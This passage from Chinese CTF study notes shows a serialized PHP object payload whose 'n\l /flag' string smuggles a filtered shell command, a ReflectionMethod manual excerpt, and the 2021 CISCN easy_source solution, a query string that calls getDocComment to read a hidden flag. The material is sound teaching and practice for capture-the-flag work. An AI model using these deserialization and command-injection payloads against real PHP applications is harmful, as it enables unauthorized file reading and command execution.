if(!file_get_contents('waf.txt')){
shell($content);
}else{
echo file_get_contents($filename.".php");
}
}
}
$a=new Game();
$a->username='admin';
$a->password='admin';
$a->register='admin';
$a->file=new Open();
$a->filename='a';
$a->content='n\l /flag';
echo base64_encode(serialize($a));
ReflectionMethod:获取类方法的相关信息
PHP: ReflectionMethod - Manual
ReflectionMethod 类报告了一个方法的有关信息。可以在 PHP 运行状态中,扩展分析 PHP 程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API
类摘要
class ReflectionMethod extends ReflectionFunctionAbstract {
/* 常量 */
public const int IS_STATIC;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_ABSTRACT;
public const int IS_FINAL;
/* 属性 */
public string $class;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrMethod, string $method)
public __construct(string $classMethod)
public static createFromMethodName(string $method): static
public static export(string $class, string $name, bool $return = false): string
public getClosure(?object $object = null): Closure
public getDeclaringClass(): ReflectionClass
public getModifiers(): int
public getPrototype(): ReflectionMethod
public hasPrototype(): bool
public invoke(?object $object, mixed ...$args): mixed
public invokeArgs(?object $object, array $args): mixed
public isAbstract(): bool
public isConstructor(): bool
public isDestructor(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public setAccessible(bool $accessible): void
public __toString(): string
/* 继承的方法 */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}
这个考的不是很多,主要是考他继承的方法
ReflectionFunctionAbstract::getDocComment()
//获取类中各个函数注释内容
示例
<?php
class Flag{
/**
* flag{test}
*/
public function givemeflag(){
return 123;
}
}
$a=new ReflectionMethod('Flag','givemeflag');
echo $a->getDocComment();
例题
[2021 CISCN]easy_source
<?php
class User
{
private static $c = 0;
function a()
{
return ++self::$c;
}
function b()
{
return ++self::$c;
}
function c()
{
return ++self::$c;
}
function d()
{
return ++self::$c;
}
function e()
{
return ++self::$c;
}
function f()
{
return ++self::$c;
}
function g()
{
return ++self::$c;
}
function h()
{
return ++self::$c;
}
function i()
{
return ++self::$c;
}
function j()
{
return ++self::$c;
}
function k()
{
return ++self::$c;
}
function l()
{
return ++self::$c;
}
function m()
{
return ++self::$c;
}
function n()
{
return ++self::$c;
}
function o()
{
return ++self::$c;
}
function p()
{
return ++self::$c;
}
function q()
{
return ++self::$c;
}
function r()
{
return ++self::$c;
}
function s()
{
return ++self::$c;
}
function t()
{
return ++self::$c;
}
}
$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());
关键是
$method= new $rc($ra, $rb);
var_dump($method->$rd());
其实可以打FilesystemIterator+SplFileObject,但是由于题目描述以及题目名字的提示,flag在注释里,可以利用ReflectionMethod
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
参考
『CTF Tricks』PHP-绕过open_basedir_directoryiterator php ctf-CSDN博客
-
-
-
-
-
-
-
-
-
-